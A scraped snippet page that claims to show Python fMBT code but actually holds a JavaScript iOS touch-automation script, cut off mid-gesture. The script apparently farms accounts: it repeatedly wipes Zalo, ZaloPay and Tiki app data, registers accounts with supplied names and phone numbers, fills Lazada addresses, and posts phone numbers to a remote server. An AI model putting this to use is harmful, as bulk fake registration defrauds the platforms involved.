How to use touchUp method in fMBT

Best Python code snippet using fMBT_python

DataAccountModel.js

Source:DataAccountModel.js Github

copy

Full Screen

...128 at.tap(317, 285);129 at.usleep(2000000);130 at.touchDown(5, 691.78, 1170.28);131 at.usleep(1000000);132 at.touchUp(5, 691.78, 1170.28);133 this.AtHelper.thongBao("Keyword: ZaloPay");134 this.AtHelper.inputTextCustom("ZaloPay");135 at.usleep(2000000);136 at.usleep(1000000);137 at.tap(319, 198);138 //thuc hien vuot va click Xoa139 at.usleep(2000000);140 this.AtHelper.thongBao("Vuot xuong");141 this.AtHelper.vuotXuongAppManager();142 at.usleep(1000000);143 //check button Xoa144 const findTextXoa1 = this.findMau(43, 1146, 16711680, 3);145 if (findTextXoa1.success == true) {146 at.toast("Click button Xoa 1");147 at.usleep(1000000);148 at.touchDown(0, findTextXoa1.data.x, findTextXoa1.data.y)149 at.usleep(50000)150 at.touchUp(0, findTextXoa1.data.x, findTextXoa1.data.y)151 }152 else {153 at.toast("Click button Xoa 2");154 at.usleep(1000000);155 at.touchDown(0, 346, 1144)156 at.usleep(50000)157 at.touchUp(0, 346, 1144)158 }159 //Click Xoa Du Lieu160 at.usleep(1000000);161 at.touchDown(0, 346, 1144)162 at.usleep(50000)163 at.touchUp(0, 346, 1144)164 }165 resetTiki() {166 at.appKill("com.tigisoftware.ADManager");167 at.usleep(1000000);168 this.AtHelper.thongBao('run App Manager');169 at.appRun("com.tigisoftware.ADManager");170 at.usleep(3000000);171 at.tap(317, 285);172 at.usleep(2000000);173 at.touchDown(5, 691.78, 1170.28);174 at.usleep(1000000);175 at.touchUp(5, 691.78, 1170.28);176 this.AtHelper.thongBao("Keyword: Tiki");177 this.AtHelper.inputTextCustom("Tiki");178 at.usleep(2000000);179 at.usleep(1000000);180 at.tap(319, 198);181 //thuc hien vuot va click Xoa182 at.usleep(2000000);183 this.AtHelper.thongBao("Vuot xuong");184 this.AtHelper.vuotXuongAppManager();185 at.usleep(1000000);186 //check button Xoa187 const findTextXoa1 = this.findMau(43, 1146, 16711680, 3);188 if (findTextXoa1.success == true) {189 at.toast("Click button Xoa 1");190 at.usleep(1000000);191 at.touchDown(0, findTextXoa1.data.x, findTextXoa1.data.y)192 at.usleep(50000)193 at.touchUp(0, findTextXoa1.data.x, findTextXoa1.data.y)194 }195 else {196 at.toast("Click button Xoa 2");197 at.usleep(1000000);198 at.touchDown(0, 346, 1144)199 at.usleep(50000)200 at.touchUp(0, 346, 1144)201 }202 //Click Xoa Du Lieu203 at.usleep(1000000);204 at.touchDown(0, 346, 1144)205 at.usleep(50000)206 at.touchUp(0, 346, 1144)207 }208 resetAndRunZalo() {209 //run app appKill("com.apple.mobilesafari")210 at.appKill("com.tigisoftware.ADManager");211 at.usleep(1000000);212 this.AtHelper.thongBao('run App Manager');213 at.appRun("com.tigisoftware.ADManager");214 at.usleep(3000000);215 at.tap(317, 285);216 at.usleep(2000000);217 at.touchDown(5, 691.78, 1170.28);218 at.usleep(1000000);219 at.touchUp(5, 691.78, 1170.28);220 this.AtHelper.thongBao("Keyword: Zalo");221 this.AtHelper.inputTextCustom("Zalo");222 at.usleep(2000000);223 //check icon Zalo224 const optionIconZalo = {225 colors: [ // REQUIRED, colors and their relative positions226 { color: 26879, x: 0, y: 0 },227 { color: 26879, x: 3, y: 32 },228 { color: 16777215, x: 43, y: 30 },229 { color: 16777215, x: 43, y: 1 }230 ],231 count: 3, // OPTIONAL, default is 0, 0 means no limitation232 region: { x: 27.46, y: 152.11, width: 75.00, height: 88.73 }, // OPTIONAL, default is null, null means the whole screen233 debug: false,234 }235 const find_optionIconZalo = this.AtHelper.findToaDo(optionIconZalo, 2);236 if (find_optionIconZalo.success == true) {237 at.usleep(1000000);238 at.tap(find_optionIconZalo.data.x, find_optionIconZalo.data.y);239 }240 else {241 at.usleep(1000000);242 at.tap(319, 198);243 }244 //thuc hien vuot va click Xoa245 at.usleep(1000000);246 this.AtHelper.thongBao("Vuot xuong");247 this.AtHelper.vuotXuongAppManager();248 at.usleep(1000000);249 //check button Xoa250 const findTextXoa1 = this.findMau(43, 1146, 16711680, 3);251 if (findTextXoa1.success == true) {252 at.toast("Click button Xoa 1");253 at.usleep(1000000);254 at.touchDown(0, findTextXoa1.data.x, findTextXoa1.data.y)255 at.usleep(50000)256 at.touchUp(0, findTextXoa1.data.x, findTextXoa1.data.y)257 }258 else {259 at.toast("Click button Xoa 2");260 at.usleep(1000000);261 at.touchDown(0, 346, 1144)262 at.usleep(50000)263 at.touchUp(0, 346, 1144)264 }265 //Click Xoa Du Lieu266 at.usleep(1000000);267 at.touchDown(0, 346, 1144)268 at.usleep(50000)269 at.touchUp(0, 346, 1144)270 //goBack271 at.toast("Quay ve ung dung");272 at.usleep(2000000);273 at.touchDown(0, 112, 84)274 at.usleep(50000)275 at.touchUp(0, 112, 84)276 //thuc hien xoa ZaloPay277 at.usleep(1000000);278 this.AtHelper.thongBao("Thuc hien xoa ZaloPay");279 const optionIconZaloPay = {280 colors: [ // REQUIRED, colors and their relative positions281 { color: 36837, x: 0, y: 0 },282 { color: 36837, x: 4, y: 22 },283 { color: 16777215, x: 33, y: 22 },284 { color: 113921, x: 30, y: 3 },285 { color: 310788, x: 21, y: 15 }286 ],287 count: 3, // OPTIONAL, default is 0, 0 means no limitation288 region: { x: 28.52, y: 251.41, width: 75.00, height: 90.85 }, // OPTIONAL, default is null, null means the whole screen289 debug: false,290 }291 const find_optionIconZaloPay = this.AtHelper.findToaDo(optionIconZaloPay, 2);292 if (find_optionIconZaloPay.success == true) {293 at.usleep(1000000);294 at.tap(find_optionIconZaloPay.data.x, find_optionIconZaloPay.data.y);295 }296 else {297 at.touchDown(0, 344, 295)298 at.usleep(50000)299 at.touchUp(0, 344, 295)300 }301 //thuc hien vuot va click Xoa302 at.usleep(1000000);303 this.AtHelper.thongBao("Vuot xuong");304 this.AtHelper.vuotXuongAppManager();305 at.usleep(1000000);306 //check button Xoa307 const findTextXoa2 = this.findMau(43, 1146, 16711680, 3);308 if (findTextXoa2.success == true) {309 at.toast("Click button Xoa 1");310 at.usleep(1000000);311 at.touchDown(0, findTextXoa2.data.x, findTextXoa2.data.y)312 at.usleep(50000)313 at.touchUp(0, findTextXoa2.data.x, findTextXoa2.data.y)314 }315 else {316 at.toast("Click button Xoa 2");317 at.touchDown(0, 346, 1144)318 at.usleep(50000)319 at.touchUp(0, 346, 1144)320 }321 //Click Xoa Du Lieu322 at.usleep(1000000);323 at.touchDown(0, 346, 1144)324 at.usleep(50000)325 at.touchUp(0, 346, 1144);326 at.usleep(2000000);327 this.AtHelper.keyPress(KEY_TYPE.HOME_BUTTON);328 at.usleep(1000000);329 }330 runZalo() {331 this.AtHelper.thongBao("Run App Zalo");332 at.appRun("vn.com.vng.zingalo");333 this.AtHelper.delayCus(3);334 //check button DangKi335 const findBtnDangKi = this.findMau(358, 1156, 2236962, 3);336 at.usleep(1000000);337 if (findBtnDangKi.success == true) {338 at.toast("Click button Dang Ki");339 at.usleep(1000000);340 at.touchDown(0, findBtnDangKi.data.x, findBtnDangKi.data.y)341 at.usleep(50000)342 at.touchUp(0, findBtnDangKi.data.x, findBtnDangKi.data.y)343 }344 else {345 at.toast("Click button Xoa 2");346 at.touchDown(0, 395, 1153)347 at.usleep(50000)348 at.touchUp(0, 395, 1153)349 }350 at.usleep(2000000);351 this.AtHelper.thongBao("Input FullName: " + this.fullName);352 this.AtHelper.inputTextCustom(this.fullName);353 at.usleep(2000000);354 //click bnt TiepTuc355 at.touchDown(0, 384, 454)356 at.usleep(50000)357 at.touchUp(0, 384, 454)358 //input SDT359 this.AtHelper.thongBao("Input SDT: " + this.phoneNumber);360 at.usleep(2000000);361 this.AtHelper.inputTextCustom(this.phoneNumber);362 at.usleep(2000000);363 //check button DangKi364 const findBtnTiepTuc = this.findMau(383, 453, 39167, 3);365 at.usleep(1000000);366 if (findBtnTiepTuc.success == true) {367 at.toast("Click button Tiep Tuc");368 at.usleep(1000000);369 at.touchDown(0, findBtnTiepTuc.data.x, findBtnTiepTuc.data.y)370 at.usleep(50000)371 at.touchUp(0, findBtnTiepTuc.data.x, findBtnTiepTuc.data.y)372 }373 else {374 at.toast("Click Tiep Tuc 2");375 at.touchDown(0, 383, 453)376 at.usleep(50000)377 at.touchUp(0, 383, 453)378 }379 at.usleep(2000000);380 at.touchDown(0, 503, 781);381 at.usleep(50000);382 at.touchUp(0, 503, 781);383 }384 runZaloPayByOTP() {385 this.AtHelper.thongBao("Run App Zalo Pay");386 at.appRun("vn.com.vng.zalopay");387 this.AtHelper.delayCus(4);388 //click btn TiepTuc389 at.touchDown(0, 385, 1009)390 at.usleep(50000)391 at.touchUp(0, 385, 1009)392 this.AtHelper.delayCus(2);393 const findColorCall = this.findMau(130, 1139, 28159, 2);394 if (findColorCall.success == true) {395 at.toast("Click button Dang Nhap Voi Zalo");396 at.usleep(1000000);397 at.touchDown(0, findColorCall.data.x, findColorCall.data.y)398 at.usleep(50000)399 at.touchUp(0, findColorCall.data.x, findColorCall.data.y);400 const findIconX = this.findMau(630, 1279, 0, 2);401 if (findIconX.success == true) {402 this.AtHelper.thongBao("Chuan bi dien phoneNumber");403 at.usleep(1000000);404 at.touchDown(0, findIconX.data.x, findIconX.data.y)405 at.usleep(50000)406 at.touchUp(0, findIconX.data.x, findIconX.data.y);407 at.usleep(1000000);408 at.touchDown(0, findIconX.data.x, findIconX.data.y)409 at.usleep(50000)410 at.touchUp(0, findIconX.data.x, findIconX.data.y);411 this.AtHelper.thongBao("Input phoneNumber: " + this.phoneNumber);412 at.usleep(2000000);413 this.AtHelper.inputTextCustom(this.phoneNumber);414 at.usleep(1000000);415 const findColorBtnTiepTuc = this.findMau(383, 826, 27391, 2);416 if (findColorBtnTiepTuc.success = true) {417 this.AtHelper.thongBao("Click btn Tiep Tuc");418 at.usleep(1000000);419 at.touchDown(0, findColorBtnTiepTuc.data.x, findColorBtnTiepTuc.data.y)420 at.usleep(50000)421 at.touchUp(0, findColorBtnTiepTuc.data.x, findColorBtnTiepTuc.data.y);422 at.usleep(1000000);423 }424 }425 }426 }427 runZaloPay() {428 this.AtHelper.thongBao("Run App Zalo Pay");429 at.appRun("vn.com.vng.zalopay");430 this.AtHelper.delayCus(3);431 //click btn TiepTuc432 at.touchDown(0, 385, 1009)433 at.usleep(50000)434 at.touchUp(0, 385, 1009)435 this.AtHelper.delayCus(2);436 //check button DangNhapZalo437 const findBtnDangNhapZalo = this.findMau(377, 1022, 28159, 3);438 at.usleep(1000000);439 if (findBtnDangNhapZalo.success == true) {440 at.toast("Click button Dang Nhap Voi Zalo");441 at.usleep(1000000);442 at.touchDown(0, findBtnDangNhapZalo.data.x, findBtnDangNhapZalo.data.y)443 at.usleep(50000)444 at.touchUp(0, findBtnDangNhapZalo.data.x, findBtnDangNhapZalo.data.y)445 }446 else {447 at.toast("Click button Dang Nhap Voi Zalo 2");448 at.touchDown(0, 361, 1023)449 at.usleep(50000)450 at.touchUp(0, 361, 1023)451 }452 //input phoneNumber453 at.usleep(1000000);454 this.AtHelper.thongBao("Input phoneNumber: " + this.phoneNumber);455 at.usleep(2000000);456 this.AtHelper.inputTextCustom(this.phoneNumber);457 at.usleep(1000000);458 }459 guiSDTNapTien() {460 const url = `http://reglzd.herokuapp.com/api/setNapTien`;461 const data = {462 phoneNumber: this.phoneNumber,463 deviceName: this.deviceName464 }465 return axios.post(encodeURI(url), data).then(resp => {466 console.log(resp.data);467 })468 }469 dienDiaChiLZD() {470 // //input fullname471 // this.AtHelper.thongBao("Input fullname: " + this.fullName);472 // at.touchDown(0, 242, 173)473 // at.usleep(50000)474 // at.touchUp(0, 242, 173)475 // at.usleep(2000000);476 // this.AtHelper.inputTextCustom(this.fullName + " MM");477 // at.usleep(2000000);478 // //input sdt479 // this.AtHelper.thongBao("Input sdt: " + this.phoneNumber);480 // at.touchDown(0, 253, 281)481 // at.usleep(50000)482 // at.touchUp(0, 253, 281)483 // at.usleep(2000000);484 // this.AtHelper.inputTextCustom(this.phoneNumber);485 // at.usleep(2000000);486 // //input dia chi487 // this.AtHelper.thongBao("Input dia chi: " + this.address);488 // at.touchDown(0, 273, 511)489 // at.usleep(50000)490 // at.touchUp(0, 273, 511)491 // at.usleep(2000000);492 // this.AtHelper.inputTextCustom(this.address);493 // at.usleep(2000000);494 //input fullname495 this.AtHelper.thongBao("Input fullname: " + this.fullName);496 at.touchDown(0, 159, 285)497 at.usleep(50000)498 at.touchUp(0, 159, 285)499 at.usleep(2000000);500 this.AtHelper.inputTextCustom(this.fullName + " MM");501 at.usleep(2000000);502 //input dia chi503 this.AtHelper.thongBao("Input dia chi: " + this.address);504 at.touchDown(0, 171, 447)505 at.usleep(50000)506 at.touchUp(0, 171, 447)507 at.usleep(2000000);508 this.AtHelper.inputTextCustom(this.address);509 at.usleep(2000000);510 touchDown(2, 15.39, 529.87);511 usleep(116645.54);512 touchMove(2, 34.89, 526.81);513 usleep(16511.25);514 touchMove(2, 44.13, 526.81);515 usleep(16902.67);516 touchMove(2, 58.50, 526.81);517 usleep(16724.92);518 touchMove(2, 73.89, 526.81);519 usleep(16650.83);520 touchMove(2, 90.32, 526.81);521 usleep(16656.54);522 touchMove(2, 107.77, 526.81);523 usleep(16810.71);524 touchMove(2, 126.24, 525.80);525 usleep(16669.92);526 touchMove(2, 144.72, 525.80);527 usleep(16492.33);528 touchMove(2, 164.22, 524.78);529 usleep(16705.17);530 touchMove(2, 184.74, 524.78);531 usleep(16773.25);532 touchMove(2, 205.27, 523.76);533 usleep(16596.96);534 touchMove(2, 223.75, 523.76);535 usleep(16639.75);536 touchMove(2, 241.20, 523.76);537 usleep(16698.79);538 touchMove(2, 257.62, 523.76);539 usleep(16546.71);540 touchMove(2, 279.18, 523.76);541 usleep(16697.71);542 touchMove(2, 302.79, 523.76);543 usleep(16950.71);544 touchMove(2, 327.42, 523.76);545 usleep(16399.17);546 touchMove(2, 353.07, 523.76);547 usleep(16622.04);548 touchMove(2, 378.73, 523.76);549 usleep(16779.08);550 touchMove(2, 405.42, 523.76);551 usleep(16472.58);552 touchMove(2, 433.14, 523.76);553 usleep(16669.25);554 touchMove(2, 460.85, 523.76);555 usleep(16908.46);556 touchMove(2, 497.80, 523.76);557 usleep(16597.96);558 touchMove(2, 535.78, 526.81);559 usleep(16782.12);560 touchMove(2, 575.81, 532.92);561 usleep(16564.38);562 touchMove(2, 623.02, 539.03);563 usleep(16535.04);564 touchMove(2, 654.84, 541.08);565 usleep(16343.46);566 touchMove(2, 701.03, 545.15);567 usleep(16753.50);568 touchUp(2, 727.71, 548.21);569 at.usleep(1000000);570 //input sdt571 this.AtHelper.thongBao("Input sdt: " + this.phoneNumber);572 at.touchDown(0, 167, 1058)573 at.usleep(50000)574 at.touchUp(0, 167, 1058)575 at.usleep(2000000);576 this.AtHelper.inputTextCustom(this.phoneNumber);577 at.usleep(2000000);578 }579 dienDiaChiTH2() {580 const find_colorBtnDangNhap = this.findMau(388, 1270, 16735030, 2);581 if (find_colorBtnDangNhap.success == true) {582 this.AtHelper.thongBao("Truong hop 1");583 //input fullname584 this.AtHelper.thongBao("Input fullname: " + this.fullName);585 at.touchDown(0, 154, 210)586 at.usleep(50000)587 at.touchUp(0, 154, 210)588 at.usleep(1000000);589 this.AtHelper.inputTextCustom(this.fullName + " MM");590 at.usleep(1000000);591 //input dia chi592 this.AtHelper.thongBao("Input dia chi: " + this.address);593 at.touchDown(0, 141, 361)594 at.usleep(50000)595 at.touchUp(0, 141, 361)596 at.usleep(1000000);597 this.AtHelper.inputTextCustom(this.address);598 at.usleep(1000000);599 // appActivate("com.LazadaSEA.Lazada");600 // touchDown(1, 510.12, 502.39);601 // usleep(133292.62);602 // touchUp(1, 510.12, 502.39);603 // usleep(4151613.12);604 // touchDown(2, 329.46, 89.01);605 // usleep(131999.12);606 // touchUp(2, 329.46, 89.01);607 // usleep(1833480.71);608 // touchDown(5, 448.53, 990.08);609 // usleep(84669.21);610 // touchMove(5, 450.59, 971.74);611 // usleep(16902.83);612 // touchMove(5, 450.59, 963.60);613 // usleep(16299.96);614 // touchMove(5, 450.59, 956.47);615 // usleep(16613.92);616 // touchMove(5, 451.61, 947.31);617 // usleep(16660.42);618 // touchMove(5, 452.64, 940.19);619 // usleep(16783.62);620 // touchMove(5, 453.67, 933.06);621 // usleep(16561.00);622 // touchMove(5, 454.69, 926.96);623 // usleep(16624.29);624 // touchMove(5, 455.72, 921.85);625 // usleep(16761.71);626 // touchMove(5, 455.72, 917.78);627 // usleep(16635.83);628 // touchMove(5, 456.75, 913.71);629 // usleep(16750.25);630 // touchMove(5, 457.76, 909.63);631 // usleep(16643.25);632 // touchMove(5, 458.79, 905.56);633 // usleep(16595.21);634 // touchMove(5, 459.82, 901.49);635 // usleep(16706.04);636 // touchMove(5, 460.85, 897.42);637 // usleep(16670.62);638 // touchMove(5, 461.87, 893.35);639 // usleep(16673.62);640 // touchMove(5, 462.90, 888.26);641 // usleep(16603.38);642 // touchMove(5, 463.93, 884.19);643 // usleep(16764.12);644 // touchMove(5, 464.95, 880.12);645 // usleep(16548.00);646 // touchMove(5, 465.98, 876.05);647 // usleep(16689.33);648 // touchMove(5, 467.01, 870.96);649 // usleep(16746.92);650 // touchMove(5, 468.03, 865.85);651 // usleep(16622.79);652 // touchMove(5, 470.09, 860.76);653 // usleep(16672.42);654 // touchMove(5, 471.11, 854.65);655 // usleep(16710.08);656 // touchMove(5, 472.14, 850.58);657 // usleep(16599.33);658 // touchMove(5, 474.19, 845.49);659 // usleep(16684.58);660 // touchMove(5, 476.25, 840.41);661 // usleep(16773.42);662 // touchMove(5, 477.28, 836.34);663 // usleep(16553.88);664 // touchMove(5, 478.29, 833.28);665 // usleep(16852.21);666 // touchMove(5, 479.32, 830.23);667 // usleep(16476.46);668 // touchMove(5, 480.35, 825.14);669 // usleep(16642.00);670 // touchMove(5, 481.37, 821.07);671 // usleep(16743.42);672 // touchMove(5, 482.40, 817.00);673 // usleep(16716.62);674 // touchMove(5, 484.45, 811.89);675 // usleep(16572.96);676 // touchMove(5, 485.48, 807.82);677 // usleep(16668.00);678 // touchMove(5, 487.53, 802.73);679 // usleep(16698.38);680 // touchMove(5, 488.56, 797.64);681 // usleep(16715.33);682 // touchMove(5, 490.61, 793.57);683 // usleep(16574.96);684 // touchMove(5, 491.64, 789.50);685 // usleep(16771.71);686 // touchMove(5, 492.67, 785.43);687 // usleep(16595.38);688 // touchMove(5, 493.70, 781.36);689 // usleep(16643.17);690 // touchMove(5, 494.72, 777.28);691 // usleep(16732.92);692 // touchMove(5, 495.75, 772.20);693 // usleep(16688.25);694 // touchMove(5, 496.78, 768.12);695 // usleep(16585.62);696 // touchMove(5, 498.83, 764.05);697 // usleep(16755.04);698 // touchMove(5, 499.86, 761.00);699 // usleep(16594.79);700 // touchMove(5, 501.90, 755.89);701 // usleep(16758.92);702 // touchMove(5, 503.95, 751.82);703 // usleep(16617.33);704 // touchMove(5, 504.98, 747.75);705 // usleep(16662.67);706 // touchMove(5, 506.01, 744.70);707 // usleep(16643.04);708 // touchMove(5, 507.04, 739.61);709 // usleep(16771.54);710 // touchMove(5, 508.06, 736.55);711 // usleep(16578.00);712 // touchMove(5, 509.09, 733.50);713 // usleep(16701.46);714 // touchMove(5, 510.12, 730.45);715 // usleep(16676.83);716 // touchMove(5, 511.14, 728.41);717 // usleep(16816.67);718 // touchMove(5, 512.17, 725.36);719 // usleep(16474.83);720 // touchMove(5, 513.20, 722.31);721 // usleep(16711.88);722 // touchMove(5, 514.22, 719.25);723 // usleep(16599.67);724 // touchMove(5, 515.25, 716.20);725 // usleep(16744.12);726 // touchMove(5, 516.28, 712.13);727 // usleep(16672.46);728 // touchMove(5, 518.33, 708.06);729 // usleep(16601.58);730 // touchMove(5, 520.37, 705.00);731 // usleep(16752.29);732 // touchMove(5, 521.40, 701.93);733 // usleep(16666.42);734 // touchMove(5, 523.46, 698.88);735 // usleep(16653.42);736 // touchMove(5, 524.48, 696.84);737 // usleep(16634.71);738 // touchMove(5, 525.51, 695.82);739 // usleep(16701.25);740 // touchMove(5, 526.54, 693.79);741 // usleep(16595.67);742 // touchMove(5, 526.54, 692.77);743 // usleep(16739.79);744 // touchMove(5, 527.56, 690.73);745 // usleep(16673.62);746 // touchMove(5, 527.56, 689.72);747 // usleep(16615.38);748 // touchMove(5, 528.59, 688.70);749 // usleep(16801.88);750 // touchMove(5, 529.62, 686.66);751 // usleep(16668.75);752 // touchMove(5, 530.64, 684.63);753 // usleep(16639.04);754 // touchMove(5, 530.64, 682.59);755 // usleep(16602.21);756 // touchMove(5, 531.67, 680.56);757 // usleep(16632.50);758 // touchMove(5, 532.70, 679.54);759 // usleep(17074.96);760 // touchMove(5, 533.72, 678.52);761 // usleep(16261.96);762 // touchMove(5, 533.72, 677.50);763 // usleep(16803.00);764 // touchMove(5, 534.75, 676.49);765 // usleep(16562.38);766 // touchMove(5, 534.75, 675.47);767 // usleep(50074.21);768 // touchMove(5, 534.75, 674.45);769 // usleep(183506.17);770 // touchMove(5, 534.75, 673.43);771 // usleep(299955.75);772 // touchMove(5, 534.75, 672.41);773 // usleep(166642.04);774 // touchMove(5, 534.75, 671.40);775 // usleep(149952.38);776 // touchMove(5, 534.75, 670.38);777 // usleep(48764.54);778 // touchUp(5, 536.80, 669.36);779 // usleep(1784745.88);780 // touchDown(3, 208.35, 1233.40);781 // usleep(115172.00);782 // touchUp(3, 208.35, 1233.40);783 // usleep(1518193.04);784 // touchDown(6, 354.10, 1164.18);785 // usleep(100048.71);786 // touchMove(6, 358.21, 1146.87);787 // usleep(16751.17);788 // touchMove(6, 358.21, 1140.75);789 // usleep(16476.42);790 // touchMove(6, 358.21, 1135.66);791 // usleep(16568.92);792 // touchMove(6, 358.21, 1130.57);793 // usleep(16675.08);794 // touchMove(6, 358.21, 1126.50);795 // usleep(16734.33);796 // touchMove(6, 359.23, 1122.43);797 // usleep(16626.83);798 // touchMove(6, 360.26, 1118.36);799 // usleep(16620.21);800 // touchMove(6, 361.29, 1115.30);801 // usleep(16753.71);802 // touchMove(6, 362.31, 1111.23);803 // usleep(16605.00);804 // touchMove(6, 363.34, 1107.16);805 // usleep(16574.21);806 // touchMove(6, 364.37, 1102.07);807 // usleep(16852.67);808 // touchMove(6, 365.40, 1099.02);809 // usleep(16628.50);810 // touchMove(6, 365.40, 1093.93);811 // usleep(16594.00);812 // touchMove(6, 366.42, 1088.82);813 // usleep(16831.33);814 // touchMove(6, 367.45, 1084.75);815 // usleep(16527.67);816 // touchMove(6, 368.48, 1079.66);817 // usleep(16637.04);818 // touchMove(6, 369.50, 1074.57);819 // usleep(16809.46);820 // touchMove(6, 370.53, 1069.48);821 // usleep(16540.58);822 // touchMove(6, 371.56, 1064.40);823 // usleep(16675.00);824 // touchMove(6, 372.57, 1060.32);825 // usleep(16760.17);826 // touchMove(6, 373.60, 1054.22);827 // usleep(16561.92);828 // touchMove(6, 374.63, 1050.15);829 // usleep(16688.21);830 // touchMove(6, 375.65, 1044.04);831 // usleep(16733.83);832 // touchMove(6, 377.71, 1037.93);833 // usleep(16648.25);834 // touchMove(6, 379.76, 1032.82);835 // usleep(16628.58);836 // touchMove(6, 380.79, 1028.75);837 // usleep(16723.67);838 // touchMove(6, 381.82, 1023.66);839 // usleep(16616.08);840 // touchMove(6, 382.84, 1019.59);841 // usleep(16672.92);842 // touchMove(6, 383.87, 1015.52);843 // usleep(16865.29);844 // touchMove(6, 384.90, 1010.43);845 // usleep(16455.29);846 // touchMove(6, 385.92, 1006.36);847 // usleep(16697.12);848 // touchMove(6, 386.95, 1002.29);849 // usleep(16715.42);850 // touchMove(6, 389.00, 998.22);851 // usleep(16591.17);852 // touchMove(6, 390.03, 994.15);853 // usleep(16699.50);854 // touchMove(6, 392.07, 991.10);855 // usleep(16676.08);856 // touchMove(6, 393.10, 987.02);857 // usleep(16658.21);858 // touchMove(6, 394.13, 984.99);859 // usleep(16656.38);860 // touchMove(6, 395.15, 981.94);861 // usleep(16761.46);862 // touchMove(6, 396.18, 978.86);863 // usleep(16562.83);864 // touchMove(6, 397.21, 975.81);865 // usleep(16677.83);866 // touchMove(6, 398.24, 973.77);867 // usleep(16892.58);868 // touchMove(6, 399.26, 971.74);869 // usleep(16459.88);870 // touchMove(6, 400.29, 970.72);871 // usleep(16628.88);872 // touchMove(6, 401.32, 968.68);873 // usleep(16752.38);874 // touchMove(6, 401.32, 967.67);875 // usleep(16724.00);876 // touchMove(6, 402.34, 966.65);877 // usleep(16596.08);878 // touchMove(6, 402.34, 965.63);879 // usleep(16709.71);880 // touchMove(6, 403.37, 964.61);881 // usleep(16584.38);882 // touchMove(6, 403.37, 963.60);883 // usleep(16644.79);884 // touchMove(6, 404.40, 963.60);885 // usleep(16860.25);886 // touchMove(6, 404.40, 962.58);887 // usleep(16504.62);888 // touchMove(6, 404.40, 961.56);889 // usleep(16682.00);890 // touchMove(6, 405.42, 960.54);891 // usleep(16686.25);892 // touchMove(6, 405.42, 958.51);893 // usleep(16623.83);894 // touchMove(6, 406.45, 957.49);895 // usleep(16683.08);896 // touchMove(6, 406.45, 955.45);897 // usleep(16707.83);898 // touchMove(6, 407.48, 953.42);899 // usleep(16756.83);900 // touchMove(6, 408.50, 952.40);901 // usleep(16632.46);902 // touchMove(6, 408.50, 951.38);903 // usleep(16594.58);904 // touchMove(6, 409.53, 950.37);905 // usleep(16631.79);906 // touchMove(6, 409.53, 949.35);907 // usleep(16669.50);908 // touchMove(6, 409.53, 948.33);909 // usleep(16711.21);910 // touchMove(6, 410.56, 947.31);911 // usleep(16678.25);912 // touchMove(6, 410.56, 946.29);913 // usleep(16596.21);914 // touchMove(6, 411.58, 945.28);915 // usleep(16734.29);916 // touchMove(6, 411.58, 943.24);917 // usleep(16690.58);918 // touchMove(6, 412.61, 942.22);919 // usleep(16574.67);920 // touchMove(6, 412.61, 940.19);921 // usleep(16774.42);922 // touchMove(6, 413.64, 939.17);923 // usleep(16610.79);924 // touchMove(6, 413.64, 938.15);925 // usleep(16645.96);926 // touchMove(6, 414.67, 936.12);927 // usleep(16713.04);928 // touchMove(6, 415.68, 934.08);929 // usleep(16624.08);930 // touchMove(6, 416.71, 931.03);931 // usleep(16790.79);932 // touchMove(6, 417.74, 928.99);933 // usleep(16625.67);934 // touchMove(6, 417.74, 926.96);935 // usleep(16645.29);936 // touchMove(6, 418.76, 923.88);937 // usleep(16601.25);938 // touchMove(6, 419.79, 921.85);939 // usleep(16742.54);940 // touchMove(6, 420.82, 919.81);941 // usleep(16570.00);942 // touchMove(6, 421.84, 917.78);943 // usleep(16702.50);944 // touchMove(6, 422.87, 915.74);945 // usleep(16714.71);946 // touchMove(6, 423.90, 912.69);947 // usleep(16650.79);948 // touchMove(6, 424.92, 910.65);949 // usleep(16622.33);950 // touchMove(6, 425.95, 907.60);951 // usleep(16715.75);952 // touchMove(6, 426.98, 905.56);953 // usleep(16623.42);954 // touchMove(6, 428.01, 903.53);955 // usleep(16692.79);956 // touchMove(6, 429.03, 901.49);957 // usleep(16686.08);958 // touchMove(6, 430.06, 900.47);959 // usleep(16612.54);960 // touchMove(6, 431.09, 898.44);961 // usleep(16677.58);962 // touchMove(6, 432.11, 896.40);963 // usleep(16734.67);964 // touchMove(6, 433.14, 895.39);965 // usleep(16618.88);966 // touchMove(6, 433.14, 893.35);967 // usleep(33349.21);968 // touchMove(6, 434.17, 892.33);969 // usleep(33501.17);970 // touchMove(6, 434.17, 891.31);971 // usleep(49988.42);972 // touchMove(6, 434.17, 890.30);973 // usleep(16558.46);974 // touchMove(6, 435.18, 890.30);975 // usleep(16605.67);976 // touchMove(6, 435.18, 889.28);977 // usleep(33323.88);978 // touchMove(6, 435.18, 888.26);979 // usleep(50246.71);980 // touchMove(6, 435.18, 887.24);981 // usleep(300032.67);982 // touchMove(6, 435.18, 886.23);983 // usleep(16576.71);984 // touchMove(6, 436.21, 883.17);985 // usleep(15316.25);986 // touchUp(6, 439.29, 879.10);987 // usleep(1451385.08);988 // touchDown(4, 244.27, 1090.88);989 // usleep(98583.29);990 // touchUp(4, 244.27, 1090.88);991 // usleep(3218445.83);992 // touchDown(1, 597.36, 640.84);993 // usleep(100261.96);994 // touchMove(1, 599.41, 624.56);995 // usleep(16230.46);996 // touchMove(1, 599.41, 617.44);997 // usleep(16690.25);998 // touchMove(1, 600.44, 609.29);999 // usleep(16687.46);1000 // touchMove(1, 601.47, 601.15);1001 // usleep(16548.29);1002 // touchMove(1, 603.52, 594.01);1003 // usleep(16754.88);1004 // touchMove(1, 604.55, 585.86);1005 // usleep(16797.92);1006 // touchMove(1, 605.58, 577.72);1007 // usleep(16504.38);1008 // touchMove(1, 606.59, 568.56);1009 // usleep(16733.12);1010 // touchMove(1, 607.62, 561.44);1011 // usleep(16574.29);1012 // touchMove(1, 608.65, 553.30);1013 // usleep(16651.62);1014 // touchMove(1, 609.67, 546.17);1015 // usleep(16757.50);1016 // touchMove(1, 610.70, 538.01);1017 // usleep(16611.67);1018 // touchMove(1, 611.73, 530.88);1019 // usleep(16680.83);1020 // touchMove(1, 612.75, 524.78);1021 // usleep(16678.38);1022 // touchMove(1, 613.78, 517.65);1023 // usleep(16620.33);1024 // touchMove(1, 614.81, 509.51);1025 // usleep(16688.17);1026 // touchMove(1, 616.86, 501.37);1027 // usleep(16701.33);1028 // touchMove(1, 617.89, 492.21);1029 // usleep(16625.04);1030 // touchMove(1, 618.92, 482.01);1031 // usleep(16712.17);1032 // touchMove(1, 619.94, 471.83);1033 // usleep(16667.50);1034 // touchMove(1, 620.97, 460.64);1035 // usleep(16760.25);1036 // touchMove(1, 622.00, 448.43);1037 // usleep(16551.00);1038 // 